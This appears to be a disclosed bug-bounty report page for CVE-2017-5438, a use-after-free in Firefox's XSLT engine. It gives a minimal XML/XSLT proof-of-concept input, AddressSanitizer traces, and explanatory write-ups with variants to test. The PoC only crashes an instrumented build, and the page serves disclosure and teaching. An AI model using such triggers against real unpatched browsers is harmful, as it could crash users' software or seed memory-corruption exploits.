Skip to content
Memory corruption Disclosed report Advanced CVE-2017-5438

UAF in nsAutoPtr destructor during XSLT processing

A use-after-free occurs in the nsAutoPtr destructor during XSLT processing when a crafted stylesheet is transformed. An attacker could potentially exploit this memory corruption, though the report only demonstrates a crash under AddressSanitizer.

Nicolas Grégoire Follow

Originally disclosed on Mozilla

  • Fixed in 46 days
  • Paid in 50 days
  • Disclosed after 46 days

Created attachment 8833799 XPCshell PoC

Tested under xpcshell "JavaScript-C54.0a1" Note: the "match" attribute of the XSLT node "template" must match the name of the XML root tag

[+] Relevant parts

xml_str = '<tag_name/>';

xsl_str = '<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="42">' + ' <xsl:variable name="var_name">xsl:template/</xsl:variable>' + ' <xsl:template match="tag_name[$var_name]"/>' + '</xsl:stylesheet>'

xml = parse_str(xml_str, 'text/xml'); xsl = parse_str(xsl_str, 'text/xml'); transform(xml, xsl);

[+] How to reproduce

$ ./poc_xslt_uaf_nsAutoPtr_dtor.js

==20218==ERROR: AddressSanitizer: heap-use-after-free on address 0x60400003e410 at pc 0x7f2e219117be bp 0x7ffc99c5b7a0 sp 0x7ffc99c5b798

READ of size 8 at 0x60400003e410 thread T0 #0 0x7f2e219117bd in ~nsAutoPtr /home/worker/workspace/build/src/obj-firefox/dist/include/nsAutoPtr.h:78:5 #1 0x7f2e219117bd in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:99 #2 0x7f2e2194a015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1 #3 0x7f2e2194fbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12 #4 0x7f2e2194fbdb in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1297 ...

0x60400003e410 is located 0 bytes inside of 40-byte region [0x60400003e410,0x60400003e438) freed by thread T0 here: #0 0x4b20db in free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3 #1 0x7f2e21910697 in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:90:9 #2 0x7f2e2194a015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1 #3 0x7f2e2194fbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12 #4 0x7f2e2194fbdb in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1297 ...

previously allocated by thread T0 here: #0 0x4b23fb in __interceptor_malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3 #1 0x4df2ad in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17 #2 0x7f2e21942bb2 in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12 #3 0x7f2e21942bb2 in txToDocHandlerFactory::createHandlerWith(txOutputFormat*, txAXMLEventHandler**) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:93 #4 0x7f2e21911d13 in txExecutionState::init(txXPathNode const&, txOwningExpandedNameMap<txIGlobalParameter>*) /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:115:10 #5 0x7f2e21949c01 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:672:19 #6 0x7f2e2194fbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12 #7 0x7f2e2194fbdb in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1297 ...

The original report as published on Mozilla's Bugzilla, by Nicolas Grégoire. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

Mozilla's XSLT engine lives in the dom/xslt tree of the Firefox codebase. It implements the XSLT processor used by the browser. The report concerns a use-after-free in that engine, specifically in the destruction path of txExecutionState, reached while a transform is being torn down. The weakness class is use after free and the affected component is Core: XSLT.

Setup

The proof of concept was run under xpcshell, reported as JavaScript-C54.0a1. The build was an AddressSanitizer build: the stack traces reference /home/worker/workspace/build/src/obj-firefox/... and the ASan runtime under compiler-rt. No accounts, roles or remote services are involved; the whole reproduction is local.

The researcher notes one precondition on the input: the match attribute of the XSLT template node must match the name of the XML root tag.

Finding it

The researcher reduced the trigger to a very small pair of documents: an XML document with a single root element, and a stylesheet that declares a variable whose content is an empty xsl:template, then uses that variable inside the predicate of a template match pattern. Running the transform on this pair produces a heap-use-after-free during destruction of the execution state, which points at the nsAutoPtr member being destroyed in ~txExecutionState.

Exploitation

Step 1: build the XML and XSLT inputs

The relevant parts of the PoC are these two strings and the three calls that parse and transform them:

JavaScript
xml_str = '<tag_name/>';

xsl_str = '<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="42">' +
          ' <xsl:variable name="var_name"><xsl:template/></xsl:variable>' +
          ' <xsl:template match="tag_name[$var_name]"/>' +
          '</xsl:stylesheet>'

xml = parse_str(xml_str, 'text/xml');
xsl = parse_str(xsl_str, 'text/xml');
transform(xml, xsl);

The XML is a single empty element named tag_name. The stylesheet declares a global variable var_name whose value is an empty xsl:template element, and then declares a template whose match pattern is tag_name[$var_name], that is, the root element name filtered by a predicate that references the variable. The version attribute is set to 42. The match value has to line up with the XML root tag name, as noted above.

Step 2: run the PoC

Bash
$ ./poc_xslt_uaf_nsAutoPtr_dtor.js

AddressSanitizer reports a heap-use-after-free:

Text
==20218==ERROR: AddressSanitizer: heap-use-after-free on address 0x60400003e410 at pc 0x7f2e219117be bp 0x7ffc99c5b7a0 sp 0x7ffc99c5b798

READ of size 8 at 0x60400003e410 thread T0
    #0 0x7f2e219117bd in ~nsAutoPtr /home/worker/workspace/build/src/obj-firefox/dist/include/nsAutoPtr.h:78:5
    #1 0x7f2e219117bd in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:99
    #2 0x7f2e2194a015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1
    #3 0x7f2e2194fbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
    #4 0x7f2e2194fbdb in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1297
    ...

The faulting read is 8 bytes wide and happens inside the nsAutoPtr destructor, inlined into ~txExecutionState at txExecutionState.cpp:99. The call chain runs from txMozillaXSLTProcessor::TransformToDocument through TransformToDoc into the execution state destructor.

Step 3: read the free and allocation history

ASan shows the same 40-byte region was freed earlier, also from the execution state destructor:

Text
0x60400003e410 is located 0 bytes inside of 40-byte region [0x60400003e410,0x60400003e438)
freed by thread T0 here:
    #0 0x4b20db in free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
    #1 0x7f2e21910697 in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:90:9
    #2 0x7f2e2194a015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1
    #3 0x7f2e2194fbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
    #4 0x7f2e2194fbdb in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1297
    ...

The free happens at txExecutionState.cpp:90, inside the same destructor that later reads the region at line 99. The allocation history shows where the object came from:

Text
previously allocated by thread T0 here:
    #0 0x4b23fb in __interceptor_malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
    #1 0x4df2ad in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
    #2 0x7f2e21942bb2 in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
    #3 0x7f2e21942bb2 in txToDocHandlerFactory::createHandlerWith(txOutputFormat*, txAXMLEventHandler**) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:93
    #4 0x7f2e21911d13 in txExecutionState::init(txXPathNode const&, txOwningExpandedNameMap<txIGlobalParameter>*) /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:115:10
    #5 0x7f2e21949c01 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:672:19
    #6 0x7f2e2194fbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
    #7 0x7f2e2194fbdb in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1297
    ...

The 40-byte object was created through operator new backed by moz_xmalloc, in txToDocHandlerFactory::createHandlerWith, called from txExecutionState::init during TransformToDoc. So the object is a handler produced by the output handler factory during txExecutionState::init.

Root cause

The execution state holds an nsAutoPtr to a handler created by txToDocHandlerFactory::createHandlerWith. During ~txExecutionState, the object is freed at txExecutionState.cpp:90 and then read again at txExecutionState.cpp:99 through the nsAutoPtr destructor. The free happens at txExecutionState.cpp:90 and the read at txExecutionState.cpp:99, both in ~txExecutionState. The trigger is the stylesheet shape: a variable whose value is an xsl:template element, referenced from the predicate of a match pattern. The report does not spell out the exact line-level mechanism beyond the two destructor lines, so the precise reason the pointer is read after the free is not stated.

Impact

This is a use-after-free in the browser's XSLT engine, reachable from a transform built out of ordinary XML and XSLT input. A use-after-free of this kind can, in principle, be turned into memory corruption and code execution in the browser process, but the report itself only demonstrates the crash under AddressSanitizer and does not show exploitation. The severity recorded for the report is high.

Fix

The report does not describe a fix or a patch.

Variants to test

  1. Change the root element name and the match pattern together, keeping the predicate that references a variable. A positive result is the same ASan heap-use-after-free in ~nsAutoPtr / ~txExecutionState.
  2. Vary the content of the variable: instead of an empty xsl:template, try other XSLT elements inside the variable. A positive result is the same destructor crash, showing the trigger is the variable-in-predicate shape rather than the specific element.
  3. Move the variable reference into other match pattern positions (for example other predicates or steps). A positive result is the same free-then-read pattern in the execution state destructor.
  4. Try the same stylesheet through the browser-facing XSLTProcessor path rather than xpcshell. A positive result is the same crash when the transform is torn down.

Hunting notes

This bug sits in the teardown path of a stateful engine object, which is where ownership bugs tend to hide: an object is released in a destructor and then touched again through a smart pointer. The signal in this case was a clean ASan report with the free and the read in the same destructor, which makes the ownership mistake obvious. The PoC reduces the trigger to a few lines of XML and XSLT and produces an ASan crash with allocation, free and read stacks. When auditing similar engines, look for smart-pointer members whose destructor order matters, and for input shapes (variables, predicates, nested templates) that change which handlers get created during a transform.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

The browser can take an XML document and a stylesheet written in a language called XSLT, and use the stylesheet to reshape the XML into something else. This is called a transform. The code that does this work lives in a part of the source tree called dom/xslt.

A researcher found that a very small, unusual stylesheet makes that code free a piece of memory and then read from it again. Reading memory after it has been handed back to the system is called a use-after-free. It is a serious class of bug because the memory may already belong to something else by the time it is read, so the program can behave unpredictably. The affected component is recorded as Core: XSLT, the weakness class as use after free, and the severity as high.

The report is a crash report, not a demonstration of an attack. It shows the browser crashing in a special instrumented build that detects this kind of mistake, and it shows exactly which object was involved, where it was created, where it was freed and where it was read afterwards.

Setup

The proof of concept was run under xpcshell, a small command-line JavaScript shell that ships with Firefox and lets developers run browser JavaScript code without opening a full browser window. The version reported is JavaScript-C54.0a1.

The build was an AddressSanitizer build. AddressSanitizer, usually shortened to ASan, is a tool added to a program at compile time that watches memory use and shouts loudly when code reads memory that has already been freed, or writes past the end of a buffer. The stack traces in the report reference build paths under /home/worker/workspace/build/src/obj-firefox/... and the ASan runtime under compiler-rt, which is how you can tell this was an instrumented build rather than a normal release.

No accounts, roles or remote services are involved. The whole reproduction happens locally on one machine: you write two small documents, feed them to the transform, and watch the crash.

The researcher notes one precondition on the input: the match attribute of the XSLT template node must match the name of the XML root tag. In plain terms, the stylesheet has a rule that says which part of the XML it applies to, and that rule has to name the same element as the top of the XML document, otherwise the interesting code path is never reached.

Finding it

The researcher reduced the trigger to a very small pair of documents: an XML document with a single root element, and a stylesheet that declares a variable whose content is an empty xsl:template, then uses that variable inside the predicate of a template match pattern. Running the transform on this pair produces a heap-use-after-free during destruction of the execution state, which points at the nsAutoPtr member being destroyed in ~txExecutionState.

Two terms in that sentence need unpacking. A variable in XSLT is a named holder for a value, much like a labelled box you put something in and refer to later by its label. A predicate is the part of a pattern inside square brackets that acts as a filter, like the condition in "give me the rows where the price is above ten". The execution state is an internal object the engine creates for the duration of one transform, to keep track of where it is and what it has built so far. nsAutoPtr is a small helper class in the Mozilla codebase that owns a pointer to an object and automatically deletes that object when the helper itself is destroyed, so programmers do not have to remember to free things by hand. The tilde in ~txExecutionState is C++ notation for a destructor, the function that runs when an object is being cleaned up.

Exploitation

Step 1: build the XML and XSLT inputs

The relevant parts of the PoC are these two strings and the three calls that parse and transform them:

JavaScript
xml_str = '<tag_name/>';

xsl_str = '<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="42">' +
          ' <xsl:variable name="var_name"><xsl:template/></xsl:variable>' +
          ' <xsl:template match="tag_name[$var_name]"/>' +
          '</xsl:stylesheet>'

xml = parse_str(xml_str, 'text/xml');
xsl = parse_str(xsl_str, 'text/xml');
transform(xml, xsl);

Line by line, in plain words:

  1. xml_str = '<tag_name/>'; builds a tiny XML document as text. XML is a way of writing structured data with tags in angle brackets, like <book><title>...</title></book>. Here there is a single empty element called tag_name, with no content and no children. It is the smallest possible XML document that still has a root element.
  2. xsl_str = ... builds the stylesheet as text, glued together from three pieces with +. XSLT is itself written in XML, so a stylesheet is an XML document whose tags are instructions for the transform.
  3. The opening piece, <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="42">, declares that this is a stylesheet and that the prefix xsl refers to the official XSLT namespace. A namespace is a way of avoiding name clashes, a bit like a surname so two people called John can be told apart. The version attribute is set to 42.
  4. <xsl:variable name="var_name"><xsl:template/></xsl:variable> declares a global variable called var_name. The value of the variable is not text or a number but an actual xsl:template element, and that template is empty. This is the unusual part: a variable holding a template rather than a simple value.
  5. <xsl:template match="tag_name[$var_name]"/> declares a template rule whose match pattern is tag_name[$var_name]. The pattern is tag_name[$var_name], a root element name filtered by a predicate that references the variable. The template body is empty, so if it ever ran it would produce nothing.
  6. </xsl:stylesheet> closes the stylesheet.
  7. xml = parse_str(xml_str, 'text/xml'); hands the XML text to a parser and asks for it to be read as XML. Parsing means turning text into the in-memory tree of elements that the engine can work with.
  8. xsl = parse_str(xsl_str, 'text/xml'); does the same for the stylesheet.
  9. transform(xml, xsl); runs the transform: take the XML tree, apply the stylesheet to it, and produce a result. This single call is what drives the engine into the buggy code path.

The match value has to line up with the XML root tag name, as noted above, which is why the XML element is called tag_name and the pattern starts with tag_name too.

Step 2: run the PoC

Bash
$ ./poc_xslt_uaf_nsAutoPtr_dtor.js

This runs the proof-of-concept script with the JavaScript shell. The $ is just the shell prompt, not part of the command. The file name describes what it demonstrates: an XSLT use-after-free in the nsAutoPtr destructor.

AddressSanitizer reports a heap-use-after-free:

Text
==20218==ERROR: AddressSanitizer: heap-use-after-free on address 0x60400003e410 at pc 0x7f2e219117be bp 0x7ffc99c5b7a0 sp 0x7ffc99c5b798

READ of size 8 at 0x60400003e410 thread T0
    #0 0x7f2e219117bd in ~nsAutoPtr /home/worker/workspace/build/src/obj-firefox/dist/include/nsAutoPtr.h:78:5
    #1 0x7f2e219117bd in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:99
    #2 0x7f2e2194a015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1
    #3 0x7f2e2194fbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
    #4 0x7f2e2194fbdb in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1297
    ...

How to read this block:

  1. The first line is ASan announcing the problem: a heap-use-after-free, meaning memory taken from the heap (the general-purpose pool of memory a program allocates from at runtime) was used after being freed. The address 0x60400003e410 is the memory location involved, and the pc, bp and sp values are processor registers recorded at the moment of the fault.
  2. READ of size 8 says the program tried to read 8 bytes from that address. thread T0 says it happened on the main thread.
  3. The numbered lines below are the call stack, the list of function calls that led to the fault, with the innermost call first. Frame #0 is ~nsAutoPtr, the destructor of the smart pointer helper, at nsAutoPtr.h:78.
  4. Frame #1 is txExecutionState::~txExecutionState(), the destructor of the execution state, at txExecutionState.cpp:99. The ~nsAutoPtr destructor was inlined into it, which is why both frames share the same address.
  5. Frames #2 to #4 show the way in: txMozillaXSLTProcessor::TransformToDoc calls into the destructor, and above that TransformToDocument and txMozillaXSLTProcessor::TransformToDocument are the public entry points that started the transform.

So the faulting read is 8 bytes wide and happens inside the nsAutoPtr destructor, inlined into ~txExecutionState at txExecutionState.cpp:99. The call chain runs from txMozillaXSLTProcessor::TransformToDocument through TransformToDoc into the execution state destructor.

Step 3: read the free and allocation history

ASan shows the same 40-byte region was freed earlier, also from the execution state destructor:

Text
0x60400003e410 is located 0 bytes inside of 40-byte region [0x60400003e410,0x60400003e438)
freed by thread T0 here:
    #0 0x4b20db in free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
    #1 0x7f2e21910697 in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:90:9
    #2 0x7f2e2194a015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1
    #3 0x7f2e2194fbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
    #4 0x7f2e2194fbdb in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1297
    ...

How to read this block:

  1. The first line tells you the address that was read is the very start of a 40-byte block of memory, running from 0x60400003e410 up to but not including 0x60400003e438. So the object that lived there was 40 bytes long.
  2. freed by thread T0 here introduces a second call stack: the one that released the memory earlier.
  3. Frame #0 is the C library free function, the low-level call that hands memory back to the allocator.
  4. Frame #1 is again txExecutionState::~txExecutionState(), but this time at txExecutionState.cpp:90, a different line from the read at line 99.
  5. Frames #2 to #4 are the same entry path as before, confirming the free also happened while a transform was being torn down.

The free happens at txExecutionState.cpp:90, inside the same destructor that later reads the region at line 99. In other words, one function cleans up and then touches the same memory again. The allocation history shows where the object came from:

Text
previously allocated by thread T0 here:
    #0 0x4b23fb in __interceptor_malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
    #1 0x4df2ad in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
    #2 0x7f2e21942bb2 in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
    #3 0x7f2e21942bb2 in txToDocHandlerFactory::createHandlerWith(txOutputFormat*, txAXMLEventHandler**) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:93
    #4 0x7f2e21911d13 in txExecutionState::init(txXPathNode const&, txOwningExpandedNameMap<txIGlobalParameter>*) /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:115:10
    #5 0x7f2e21949c01 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:672:19
    #6 0x7f2e2194fbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
    #7 0x7f2e2194fbdb in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1297
    ...

How to read this block:

  1. previously allocated by thread T0 here introduces a third call stack: the one that originally created the object.
  2. Frame #0 is __interceptor_malloc, ASan's wrapper around the standard memory allocation function, which is how ASan keeps track of every block.
  3. Frame #1 is moz_xmalloc, Mozilla's own allocation wrapper.
  4. Frame #2 is C++ operator new, the usual way C++ code asks for memory for a new object, here backed by Mozilla's allocator.
  5. Frame #3 is txToDocHandlerFactory::createHandlerWith, a factory function whose job is to create a handler, an object that receives the output events of the transform and builds the result document.
  6. Frame #4 is txExecutionState::init, the setup routine of the execution state, which is where the handler is created and stored.
  7. Frames #5 to #7 are the same transform entry path as before.

The 40-byte object was created through operator new backed by moz_xmalloc, in txToDocHandlerFactory::createHandlerWith, called from txExecutionState::init during TransformToDoc. So the object is a handler produced by the output handler factory during txExecutionState::init.

Root cause

The execution state holds an nsAutoPtr to a handler created by txToDocHandlerFactory::createHandlerWith. During ~txExecutionState, the object is freed at txExecutionState.cpp:90 and then read again at txExecutionState.cpp:99 through the nsAutoPtr destructor. The free happens at txExecutionState.cpp:90 and the read at txExecutionState.cpp:99, both in ~txExecutionState.

A useful comparison is a cloakroom. You hand in your coat and get a ticket, then later you wave the ticket at the attendant expecting your coat back, even though the coat has already gone. The ticket still exists, but it no longer points at anything valid. Here the nsAutoPtr is the ticket, and the handler is the coat.

The trigger is the stylesheet shape: a variable whose value is an xsl:template element, referenced from the predicate of a match pattern. The report does not spell out the exact line-level mechanism beyond the two destructor lines, so the precise reason the pointer is read after the free is not stated.

Impact

This is a use-after-free in the browser's XSLT engine, reachable from a transform built out of ordinary XML and XSLT input. A use-after-free of this kind can, in principle, be turned into memory corruption and code execution in the browser process, but the report itself only demonstrates the crash under AddressSanitizer and does not show exploitation. The severity recorded for the report is high.

Memory corruption means the program's own data gets overwritten with values it did not expect, which can make it do things its author never intended. Code execution means an attacker getting the program to run their own instructions. Neither is demonstrated here; what is demonstrated is a reliable crash in an instrumented build.

Fix

The report does not describe a fix or a patch.

Variants to test

These are follow-up experiments a tester could run to understand how wide the problem is. Each one changes one thing and looks for the same crash signature.

  1. Change the root element name and the match pattern together, keeping the predicate that references a variable. A positive result is the same ASan heap-use-after-free in ~nsAutoPtr / ~txExecutionState.
  2. Vary the content of the variable: instead of an empty xsl:template, try other XSLT elements inside the variable. A positive result is the same destructor crash, showing the trigger is the variable-in-predicate shape rather than the specific element.
  3. Move the variable reference into other match pattern positions (for example other predicates or steps). A positive result is the same free-then-read pattern in the execution state destructor.
  4. Try the same stylesheet through the browser-facing XSLTProcessor path rather than xpcshell. A positive result is the same crash when the transform is torn down.

Hunting notes

This bug sits in the teardown path of a stateful engine object, which is where ownership bugs tend to hide: an object is released in a destructor and then touched again through a smart pointer. A smart pointer is a small wrapper that manages the lifetime of the object it points at, so the programmer does not have to free it manually; the trade-off is that the order in which things are released starts to matter.

The signal in this case was a clean ASan report with the free and the read in the same destructor, which makes the ownership mistake obvious. The PoC reduces the trigger to a few lines of XML and XSLT and produces an ASan crash with allocation, free and read stacks. Deterministic here means the crash happens every time, not just occasionally, which makes it far easier to investigate.

When auditing similar engines, look for smart-pointer members whose destructor order matters, and for input shapes (variables, predicates, nested templates) that change which handlers get created during a transform.

Glossary

  • AddressSanitizer (ASan): a debugging tool built into a program that detects memory mistakes such as reading freed memory, and prints a detailed report when it does.
  • Allocation: the act of asking the system for a block of memory to store something in.
  • Call stack: the list of function calls currently in progress, innermost first, shown in a crash report.
  • Code execution: a situation where an attacker manages to make a program run instructions of their choosing.
  • Destructor: the function in C++ that runs automatically when an object is being cleaned up, written with a tilde before the class name, as in ~txExecutionState.
  • Deterministic: happening the same way every time, rather than intermittently.
  • Execution state: an internal object the XSLT engine creates for the duration of one transform to track its progress and the objects it has built.
  • Factory function: a function whose job is to create and return objects of a certain kind, here txToDocHandlerFactory::createHandlerWith.
  • Free: to hand a block of memory back to the allocator so it can be reused.
  • Handler: an object that receives the output events of a transform and builds the resulting document.
  • Heap: the general-purpose pool of memory a program allocates from while running.
  • Heap-use-after-free: reading or writing memory on the heap after it has been freed.
  • Inline / inlined: when the compiler copies a small function's code directly into the function that calls it, so both appear as one frame in a stack trace.
  • Match pattern: the part of an XSLT template that says which parts of the XML the template applies to.
  • Memory corruption: when a program's data is overwritten with unintended values, often as a consequence of a memory bug.
  • Namespace: a way of grouping names so that identical short names from different sources do not clash.
  • nsAutoPtr: a Mozilla helper class that owns a pointer and automatically deletes the object it points at when the helper is destroyed.
  • Operator new: the C++ expression used to allocate memory for a new object.
  • Parse: to read text and turn it into the structured in-memory form a program can work with.
  • Predicate: the filter expression inside square brackets in an XSLT pattern, such as [$var_name].
  • Proof of concept (PoC): a small piece of code that reliably demonstrates a bug.
  • Root element: the single top-level element of an XML document.
  • Severity: a rating of how serious a bug is, here recorded as high.
  • Smart pointer: a wrapper around a raw pointer that manages the lifetime of the object it points at.
  • Stack trace: another name for a call stack, often printed with file names and line numbers.
  • Thread: a single sequence of instructions running inside a program; T0 is the main one.
  • Transform: the process of applying an XSLT stylesheet to an XML document to produce a result.
  • Use after free: a bug where memory is used after it has been freed; the general class this report belongs to.
  • Variable: a named holder for a value in XSLT, referred to later by its name.
  • XML: a text format for structured data using tags in angle brackets.
  • xpcshell: a command-line JavaScript shell shipped with Firefox for running browser JavaScript without a full browser window.
  • XSLT: a language, itself written in XML, for describing how to transform one XML document into another.
  • XSLTProcessor: the browser feature through which web content can run an XSLT transform.

More by Nicolas Grégoire

View all

5 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.